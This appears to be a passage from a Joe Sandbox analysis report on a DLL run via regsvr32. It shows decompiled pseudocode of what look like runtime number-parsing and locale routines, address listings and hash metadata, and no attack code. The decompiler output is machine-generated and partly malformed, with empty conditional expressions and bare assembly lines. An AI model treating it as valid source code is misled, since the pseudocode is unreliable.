																	_t206 = _a84;
																	r9d = _a80;
																	L86:
																	_t212 = _t212 + 0xffff;
																	__eflags = _t212;
																	if(_t212 >= 0) {
																		L78:
																		_t159 = _a80 & 0x0000ffff;
																		L79:
																		__eflags = _t159 - 0x8000;
																		if(_t159 > 0x8000) {
																			L81:
																			_t160 = _a82;
																			__eflags = _t160 - 0xffffffff;
																			if(_t160 != 0xffffffff) {
																				_t161 = _t160 + 1;
																				__eflags = _t161;
																				_a82 = _t161;
																				_t206 = _a84;
																			} else {
																				_t165 = _a86;
																				_a82 = 0;
																				__eflags = _t165 - 0xffffffff;
																				if(_t165 != 0xffffffff) {
																					_a86 = _t165 + 1;
																					r8d = _a88;
																					_t206 = _a84;
																				} else {
																					_t167 = _a90 & 0x0000ffff;
																					_a86 = 0;
																					__eflags = _t167 - 0xffff;
																					if(_t167 != 0xffff) {
																						_t206 = _a84;
																						_a90 = _t167 + 1;
																						r8d = _a88;
																					} else {
																						_t206 = _a84;
																						_a90 = 0x8000;
																						r8d = _a88;
																						_t212 = _t212 + 1;
																					}
																				}
																			}
																			L96:
																			__eflags = _t212 - 0x7fff;
																			if(_t212 < 0x7fff) {
																				_a98 = _t206;
																				_t242 = _a64;
																				_a102 = r8d;
																				r8d = _a48;
																				_a96 = _a82 & 0x0000ffff;
																				_a106 = _t212 | _a56;
																				r9d = 0xffff8000;
																			} else {
																				__eflags = _a56;
																				_t242 = _a64;
																				r8d = _a48;
																				r9d = 0xffff8000;
																				_a100 = 0;
																				_t164 =  !=  ? r9d : 0x7fff8000;
																				_a96 = 0;
																				_a104 =  !=  ? r9d : 0x7fff8000;
																			}
																			goto L100;
																		}
																		r9d = r9d & 0x0001ffff;
																		__eflags = r9d - 0x18000;
																		if(r9d != 0x18000) {
																			goto L96;
																		}
																		goto L81;
																	}
																	r10d =  ~(_t212 & 0x0000ffff) & 0x0000ffff;
																	_t212 = _t212 + r10w;
																	__eflags = _t212;
																	do {
																		__eflags = _a80 & 0x00000001;
																		if((_a80 & 0x00000001) != 0) {
																			r15d = r15d + 1;
																			__eflags = r15d;
																		}
																		r9d = r9d >> 1;
																		r9d = r9d | _t206 << 0x0000001f;
																		r8d = r8d >> 1;
																		_t206 = _t206 >> 0x00000001 | r8d << 0x0000001f;
																		_t258 = _t258 - 1;
																		__eflags = _t258;
																		_a80 = r9d;
																	} while (_t258 != 0);
																	__eflags = r15d;
																	_a84 = _t206;
																	_a88 = r8d;
																	if(r15d == 0) {
																		goto L78;
																	}
																	_t159 = r9w | 0x00000001;
																	_a80 = _t159;
																	r9d = _a80;
																	goto L79;
																}
																r8d = _a88;
																_t206 = _a84;
																r9d = _a80;
																while(1) {
																	asm("inc ecx");
																	if(__eflags < 0) {
																		break;
																	}
																	r8d = r8d + r8d;
																	_t197 = _t206 >> 0x1f;
																	r9d = r9d + r9d;
																	_t206 = _t206 + _t206 | r9d >> 0x0000001f;
																	r8d = r8d | _t197;
																	_t212 = _t212 + 0xffff;
																	_a84 = _t206;
																	_a88 = r8d;
																	__eflags = _t212;
																	_a80 = r9d;
																	if(__eflags > 0) {
																		continue;
																	}
																	goto L86;
																}
																__eflags = _t212;
																if(_t212 <= 0) {
																	goto L86;
																}
																goto L78;
															}
															_t211 = _t211 + 1;
															asm("btr eax, 0x1f");
															__eflags = _t266[2];
															if(_t266[2] != 0) {
																goto L56;
															}
															__eflags = _t266[1];
															if(_t266[1] != 0) {
																goto L56;
															}
															__eflags =  *_t266;
															if( *_t266 != 0) {
																goto L56;
															}
															_t242 = _a64;
															_a104 = 0;
															_a100 = 0;
															_a96 = 0;
															goto L100;
														}
														_t211 = _t211 + 1;
														asm("btr eax, 0x1f");
														__eflags = _a104;
														if(_a104 != 0) {
															goto L51;
														}
														__eflags = _a100;
														if(_a100 != 0) {
															goto L51;
														}
														__eflags = _a96;
														if(_a96 != 0) {
															goto L51;
														}
														_t242 = _a64;
														_a106 = 0;
														goto L100;
													}
													_t242 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
												}
												L100:
												__eflags = r8d;
											} while (r8d != 0);
											_t210 = 0;
										}
										goto L103;
									}
								}
								do {
									_t260 = _t260 - 1;
									r10d = r10d + 0xffffffff;
									_t187 = _t187 + 1;
									__eflags =  *_t260;
								} while ( *_t260 == 0);
								goto L24;
							}
							_t183 = _a151 & 0x000000ff;
							__eflags = _t183 - 5;
							if(_t183 >= 5) {
								_t184 = _t183 + 1;
								__eflags = _t184;
								_a151 = _t184;
							}
							_t259 = _t259 - 1;
							r10d = 0x18;
							_t187 = _t187 + 1;
							goto L21;
						}
						goto __rcx;
					}
					r9d = 4;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t210 = 0;
					__eflags = 0;
					goto L14;
				} else {
					while(_t200 <= 0x39) {
						if(r10d >= 0x19) {
							_t187 = _t187 + 1;
							__eflags = _t187;
						} else {
							r10d = r10d + 1;
							 *_t259 = _t200 - 0x30;
							_t259 = _t259 + _t249;
						}
						_t200 =  *_t253;
						_t253 =  &(_t253[_t249]);
						if(_t200 >= 0x30) {
							continue;
						} else {
							goto L8;
						}
					}
					goto L8;
				}
				L1:
				_t200 =  *_t253 & 0x000000ff;
				_t253 =  &(_t253[1]);
				if(r9d <= 0xb) {
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b5c8
0x1004b5c8
0x1004b5c8
0x1004b5c8
0x1004b5c8
0x1004b5c8
0x1004b5c8
0x1004b5d0
0x1004b5f8
0x1004b602
0x1004b607
0x1004b621
0x1004b624
0x1004b8c2
0x1004b8c5
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b645
0x1004b645
0x1004b609
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x00000000
0x1004b5d2
0x1004b5d2
0x1004b5db
0x1004b5eb
0x1004b5eb
0x1004b5dd
0x1004b5e0
0x1004b5e3
0x1004b5e6
0x1004b5e6
0x1004b5ed
0x1004b5f0
0x1004b5f6
0x00000000
0x00000000
0x00000000
0x00000000
0x1004b5f6
0x00000000
0x1004b5d2
0x1004b410
0x1004b410
0x1004b414
0x1004b41c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3805d1baf4ee6abb9f266f27677f5b41af40b64ec72debf199aacbb1929906c9
Instruction ID: f744af8a0fbf1d47506e5821ff80287a7b4a29f567ff09838b68a86c7dfab7d5
Opcode Fuzzy Hash: 3805d1baf4ee6abb9f266f27677f5b41af40b64ec72debf199aacbb1929906c9
Instruction Fuzzy Hash: 3661F6B7618FD5C6D761CF2AE0407A9B7A1F391780FA04126EB8983B59DB79C845CB08

Uniqueness

Uniqueness Score: -1.00%

Function 1003B5D0 Relevance: .2, Instructions: 178
COMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E1003B5D0(void* __ebx, signed int __ecx, void* __edx, long long __rbx, signed int __rcx, signed int __rdx, long long __rdi, long long __rsi, void* __rbp, signed int __r8, long long __r9, long long __r12, long long __r13, long long __r14, long long __r15, intOrPtr* _a40) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				long long _v56;
				signed int _v72;
				char _v216;
				long long _v224;
				signed char* _v232;
				long long _v240;
				void* _v248;
				long long _v264;
				signed int _t57;
				signed int _t62;
				signed int _t63;
				signed int _t69;
				void* _t71;
				signed int _t79;
				signed int _t81;
				signed long long _t86;
				signed long long _t87;
				short* _t92;
				signed int _t115;
				signed int _t119;
				signed long long _t122;
				intOrPtr* _t124;
				long long _t131;
				signed char* _t133;
				signed long long _t134;
				intOrPtr* _t136;
				signed int _t139;
				signed char* _t142;
				long long _t144;

				_t144 = __r15;
				_t121 = __rbp;
				_t72 = __ecx;
				_t71 = __ebx;
				_t134 = _t122;
				_t86 =  *0x100b1640; // 0xf93099fb11e7
				_t87 = _t86 ^ _t122;
				_v72 = _t87;
				 *((long long*)(_t134 - 8)) = __rbx;
				 *((long long*)(_t134 - 0x10)) = __rsi;
				 *((long long*)(_t134 - 0x18)) = __rdi;
				 *((long long*)(_t134 - 0x20)) = __r12;
				_t136 = _a40;
				 *((long long*)(_t134 - 0x28)) = __r13;
				 *((long long*)(_t134 - 0x30)) = __r14;
				_t139 = __rdx;
				_t92 = __r9;
				_v224 = __r8;
				_t119 = __rcx;
				E10035F70(_t87, __r9, __rcx, __rdx, __r8, __rcx, __rbp, __r8, _t136);
				_t10 = _t87 + 0x140; // 0x140
				_t131 = _t10;
				_v240 = _t131;
				_t12 = _t131 + 0x28; // 0x168
				_t124 = _t12;
				_t13 = _t131 + 0x34; // 0x174
				_t133 = _t13;
				_t14 = _t131 + 0xb7; // 0x1f7
				_t142 = _t14;
				_v248 = _t124;
				_v232 = _t133;
				if(_t119 != 0) {
					__eflags = __rdx;
					if(__rdx == 0) {
						goto L1;
					}
					__eflags = __r8;
					if(__r8 == 0) {
						goto L1;
					}
					__eflags =  *_t119 - 0x43;
					if( *_t119 != 0x43) {
						L13:
						_t115 = _t119;
						asm("repne scasb");
						_v56 = _t144;
						__eflags = 0xffffffff - 0x83;
						if(0xffffffff >= 0x83) {
							L22:
							_t57 = E1003B0D0(_t72, _t87, _t92,  &_v216, _t119, _t115, _t119, _t121, _t124, _t131, _t136, _t139);
							__eflags = _t57;
							if(_t57 != 0) {
								L24:
								L39:
								L40:
								return E1002FF40(_t72, _v72 ^ _t122);
							}
							_t109 = _v248;
							__eflags = E10047B80(_t71, _t72, _t92,  &_v216, _v248, _t115, _t119, _t121,  &_v216, _t131, _t136, _t139, _t142, 0xbadbac);
							if(__eflags != 0) {
								_t88 = _v248;
								 *(_v240 + 0x30) =  *(_v248 + 4) & 0x0000ffff;
								E1003B2D0(0x83, __eflags, _v248, _t92, _t142, _t109, _t115, _t119, _t121,  &_v216, _t131, _t136);
								__eflags =  *_t119 - dil;
								if( *_t119 == dil) {
									L28:
									_t119 = 0x10095fa6;
									L29:
									_t34 = _t115 + 1; // 0xffffffff
									_t127 = _t119;
									_t62 = E10032700(_t88, _t92, _v232, _t109, _t115, _t119, _t121, _t119, _t34);
									__eflags = _t62;
									if(_t62 == 0) {
										_t124 = _v248;
										_t131 = _v240;
									} else {
										r9d = 0;
										r8d = 0;
										_t72 = 0;
										_v264 = 0;
										E100342D0(0, _t109, _t127);
										_t124 = _v248;
										_t131 = _v240;
									}
									L32:
									__eflags = _t92;
									if(_t92 != 0) {
										 *_t92 =  *_t124;
										 *((short*)(_t92 + 4)) =  *(_t124 + 4) & 0x0000ffff;
									}
									__eflags = _t136;
									if(_t136 != 0) {
										 *_t136 =  *((intOrPtr*)(_t131 + 0x30));
									}
									_t110 = _v224;
									_t128 = _t142;
									_t63 = E10033690(_t88, _t92, _t139, _v224, _t115, _t119, _t121, _t142);
									__eflags = _t63;
									if(_t63 != 0) {
										r9d = 0;
										r8d = 0;
										_t72 = 0;
										__eflags = 0;
										_v264 = 0;
										E100342D0(0, _t110, _t128);
									}
									goto L39;
								}
								__eflags = 0xbadbac - 0x83;
								if(0xbadbac >= 0x83) {
									goto L28;
								}
								_t115 = 0xbadbac;
								goto L29;
							}
							goto L24;
						}
						_t88 = _t142;
						_t115 = _t119 - _t142;
						__eflags = _t115;
						while(1) {
							_t72 = _t88[_t115] & 0x000000ff;
							_t79 = ( *_t88 & 0x000000ff) - _t72;
							__eflags = _t79;
							if(_t79 != 0) {
								break;
							}
							_t88 =  &(_t88[1]);
							__eflags = _t72;
							if(_t72 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t79;
						if(_t79 == 0) {
							goto L32;
						}
						_t88 = _t133;
						_t115 = _t119 - _t133;
						__eflags = _t115;
						while(1) {
							_t72 = _t88[_t115] & 0x000000ff;
							_t81 = ( *_t88 & 0x000000ff) - _t72;
							__eflags = _t81;
							if(_t81 != 0) {
								break;
							}
							_t88 =  &(_t88[1]);
							__eflags = _t72;
							if(_t72 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t81;
						if(_t81 == 0) {
							goto L32;
						}
						goto L22;
					}
					__eflags =  *((char*)(_t119 + 1));
					if( *((char*)(_t119 + 1)) != 0) {
						goto L13;
					}
					_t69 = E10033690(_t87, __r9, __rdx, __r8, __r8, _t119, __rbp, 0x1009c2c0);
					__eflags = _t69;
					if(_t69 != 0) {
						r9d = 0;
						r8d = 0;
						_t72 = 0;
						__eflags = 0;
						_v264 = 0;
						E100342D0(0, __r8, 0x1009c2c0);
					}
					__eflags = _t92;
					if(_t92 != 0) {
						 *_t92 = 0;
						 *((short*)(_t92 + 2)) = 0;
						 *((short*)(_t92 + 4)) = 0;
					}
					__eflags = _t136;
					if(_t136 != 0) {
						 *_t136 = 0;
					}
					goto L40;
				}
				L1:
				goto L40;
			}

0x1003b5d0
0x1003b5d0
0x1003b5d0
0x1003b5d0
0x1003b5d0
0x1003b5da
0x1003b5e1
0x1003b5e4
0x1003b5ec
0x1003b5f0
0x1003b5f4
0x1003b5f8
0x1003b5fc
0x1003b604
0x1003b608
0x1003b60c
0x1003b60f
0x1003b615
0x1003b61a
0x1003b61d
0x1003b625
0x1003b625
0x1003b62c
0x1003b631
0x1003b631
0x1003b635
0x1003b635
0x1003b639
0x1003b639
0x1003b640
0x1003b645
0x1003b64a
0x1003b653
0x1003b656
0x00000000
0x00000000
0x1003b658
0x1003b65b
0x00000000
0x00000000
0x1003b65d
0x1003b660
0x1003b6c1
0x1003b6ca
0x1003b6cd
0x1003b6cf
0x1003b6de
0x1003b6e8
0x1003b73b
0x1003b745
0x1003b74a
0x1003b74c
0x1003b766
0x1003b841
0x1003b849
0x1003b890
0x1003b890
0x1003b74e
0x1003b762
0x1003b764
0x1003b76d
0x1003b785
0x1003b78b
0x1003b790
0x1003b793
0x1003b7a3
0x1003b7a3
0x1003b7aa
0x1003b7af
0x1003b7b3
0x1003b7bb
0x1003b7c0
0x1003b7c2
0x1003b7e8
0x1003b7ed
0x1003b7c4
0x1003b7c4
0x1003b7c7
0x1003b7cc
0x1003b7ce
0x1003b7d7
0x1003b7dc
0x1003b7e1
0x1003b7e1
0x1003b7f2
0x1003b7f2
0x1003b7f5
0x1003b7fa
0x1003b801
0x1003b801
0x1003b805
0x1003b808
0x1003b80e
0x1003b80e
0x1003b812
0x1003b817
0x1003b81d
0x1003b822
0x1003b824
0x1003b826
0x1003b829
0x1003b82e
0x1003b82e
0x1003b830
0x1003b839
0x1003b839
0x00000000
0x1003b83e
0x1003b795
0x1003b79c
0x00000000
0x00000000
0x1003b79e
0x00000000
0x1003b79e
0x00000000
0x1003b764
0x1003b6ed
0x1003b6f0
0x1003b6f0
0x1003b6f3
0x1003b6f6
0x1003b6fa
0x1003b6fa
0x1003b6fc
0x00000000
0x00000000
0x1003b6fe
0x1003b702
0x1003b704
0x00000000
0x00000000
0x00000000
0x1003b704
0x1003b706
0x1003b708
0x00000000
0x00000000
0x1003b711
0x1003b714
0x1003b714
0x1003b720
0x1003b723
0x1003b727
0x1003b727
0x1003b729
0x00000000
0x00000000
0x1003b72b
0x1003b72f
0x1003b731
0x00000000
0x00000000
0x00000000
0x1003b731
0x1003b733
0x1003b735
0x00000000
0x00000000
0x00000000
0x1003b735
0x1003b662
0x1003b666
0x00000000
0x00000000
0x1003b675
0x1003b67a
0x1003b67c
0x1003b67e
0x1003b681
0x1003b686
0x1003b686
0x1003b688
0x1003b691
0x1003b691
0x1003b696
0x1003b699
0x1003b69b
0x1003b6a0
0x1003b6a6
0x1003b6a6
0x1003b6ac
0x1003b6af
0x1003b6b1
0x1003b6b1
0x00000000
0x1003b6b9
0x1003b64c
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLastValue$CurrentThread
String ID:
API String ID: 526964173-0
Opcode ID: 8e1c1aa26c26206b88ce5b73c5d05d97652cedc9fe268979af7d09b0bd8bc99c
Instruction ID: 018b1af0c37fac01058fff1e320a9a882b28c69aee9f816ec97ac222aaa8df77
Opcode Fuzzy Hash: 8e1c1aa26c26206b88ce5b73c5d05d97652cedc9fe268979af7d09b0bd8bc99c
Instruction Fuzzy Hash: 5261B03A718BC189DB62CF22A55139EB7A1F785BC9F458016EF994BB48DF78C401C700

Uniqueness

Uniqueness Score: -1.00%

Function 1004B901 Relevance: .2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B901(void* __ebx, intOrPtr __edx, void* __ebp, unsigned long long __rax, void* __rcx, void* __rdi, intOrPtr* __r8, void* __r11, void* __r12, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, intOrPtr _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t139;
				signed short _t150;
				signed short _t151;
				signed short _t155;
				signed short _t156;
				signed int _t157;
				signed int _t161;
				signed int _t163;
				signed int _t177;
				signed int _t179;
				void* _t181;
				signed int _t182;
				signed int _t183;
				signed short _t184;
				signed short _t185;
				signed int _t187;
				signed int _t191;
				intOrPtr _t192;
				signed int _t193;
				signed short _t197;
				signed int _t198;
				signed int _t201;
				void* _t202;
				signed int _t203;
				signed int _t206;
				void* _t207;
				unsigned long long _t238;
				void* _t241;
				signed long long _t247;
				void* _t248;
				void* _t249;
				long long _t251;
				signed int* _t252;
				void* _t254;
				void* _t256;
				signed long long _t259;
				intOrPtr* _t261;
				void* _t263;
				signed int* _t264;
				void* _t265;
				signed int _t266;
				void* _t267;
				char* _t268;
				signed short* _t269;
				void* _t270;
				long long* _t272;
				signed int* _t275;

				_t272 = __r13;
				_t270 = __r12;
				_t267 = __r11;
				_t261 = __r8;
				_t254 = __rdi;
				_t238 = __rax;
				_t207 = __ebp;
				_t192 = __edx;
				_t181 = __ebx;
				_t201 = 0;
				_t1 = _t254 + 1; // 0x1
				r12d = _t1;
				_a48 = 0;
				if(__edx < 0x30) {
					L11:
					__eflags = _t192 - 0x30;
					if(_t192 < 0x30) {
						L14:
						_t261 = _t261 - _t270;
						 *_t272 = _t261;
						if(_t207 == 0) {
							r8d = _t201;
							_t193 = _t201;
							_t201 = 4;
							goto L103;
						} else {
							if(r10d <= 0x18) {
								goto L15;
							}
							_t179 = _a151 & 0x000000ff;
							if(_t179 >= 5) {
								_a151 = _t179 + 1;
							}
							_t267 = _t267 - 1;
							r10d = 0x18;
							_t181 = _t181 + 1;
							L16:
							_t268 = _t267 - 1;
							if( *_t268 != 0) {
								L19:
								_t12 =  &_a96; // 0x61
								_t13 =  &_a128; // 0x81
								E1004EED0(r10d, _t241, _t13, _t249, _t254, _t256, _t12, _t263, _t265, _t268);
								if(r14d >= 0) {
									r8d = _a48;
								} else {
									r8d = _a48;
									r8d =  ~r8d;
								}
								r8d = r8d + _t181;
								if(r12d == 0) {
									r8d = r8d + _a288;
								}
								if(r15d == 0) {
									r8d = r8d - _a296;
								}
								if(r8d > 0x1450) {
									_t193 = _t201;
									_t139 = 0x7fff;
									r8d = 0x80000000;
									_t201 = 2;
									_t183 = 0;
									goto L104;
								} else {
									if(r8d < 0xffffebb0) {
										r8d = _t201;
										_t193 = _t201;
										_t201 = 1;
										L103:
										_t183 = 0;
										_t139 = 0;
										__eflags = 0;
										L104:
										_t264 = _a72;
										_t264[2] = _t139 | _a52;
										 *_t264 = _t183;
										_t264[0] = _t193;
										_t264[1] = r8d;
										return E1002FF40(_t183, _a160 ^ _t259);
									}
									_t251 = 0x100b3270;
									if(r8d == 0) {
										L98:
										_t183 = _a96 & 0x0000ffff;
										_t193 = _a98;
										r8d = _a102;
										_t139 = _a104 >> 0x10;
										goto L104;
									}
									if(r8d < 0) {
										r8d =  ~r8d;
										_t251 = 0x100b33d0;
									}
									_t146 =  ==  ? 0 : _a96 & 0x0000ffff;
									_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
									if(r8d == 0) {
										_t201 = 0;
										__eflags = 0;
									} else {
										r9d = 0xffff8000;
										do {
											_t251 = _t251 + 0x54;
											r8d = r8d >> 3;
											_a48 = r8d;
											_a64 = _t251;
											if((r8d & 0x00000007) == 0) {
												goto L95;
											}
											_t247 = _t238 + _t238 * 2;
											_t275 = _t251 + _t247 * 4;
											if( *((short*)(_t251 + _t247 * 4)) >= 0x8000) {
												_t29 =  &_a112; // 0x71
												_t247 = _t29;
												 *_t247 =  *_t275;
												_t177 = _t275[2];
												_t31 =  &_a112; // 0x71
												_t275 = _t31;
												 *(_t247 + 8) = _t177;
												_t238 = _a112 >> 0x10;
												_a114 = _t177 - 1;
											}
											_t184 = _t275[2] & 0x0000ffff;
											_t150 = _a106 & 0x0000ffff;
											r15d = 0;
											_t185 = _t184 & 0x00007fff;
											_a80 = 0;
											_t151 = _t150 & 0x00007fff;
											_a84 = 0;
											_t197 = (_t184 & 0x0000ffff ^ _t150) & 0x00008000;
											_a88 = 0;
											_a56 = _t197;
											_t202 = _t238 + _t247;
											if(_t151 >= 0x7fff || _t185 >= 0x7fff || _t202 > 0xbffd) {
												__eflags = _t197;
												_t251 = _a64;
												_t153 =  !=  ? r9d : 0x7fff8000;
												_a100 = 0;
												_a96 = 0;
												_a104 =  !=  ? r9d : 0x7fff8000;
											} else {
												if(_t202 > 0x3fbf) {
													__eflags = _t151;
													if(_t151 != 0) {
														L46:
														__eflags = _t185;
														if(_t185 != 0) {
															L51:
															r13d = 0;
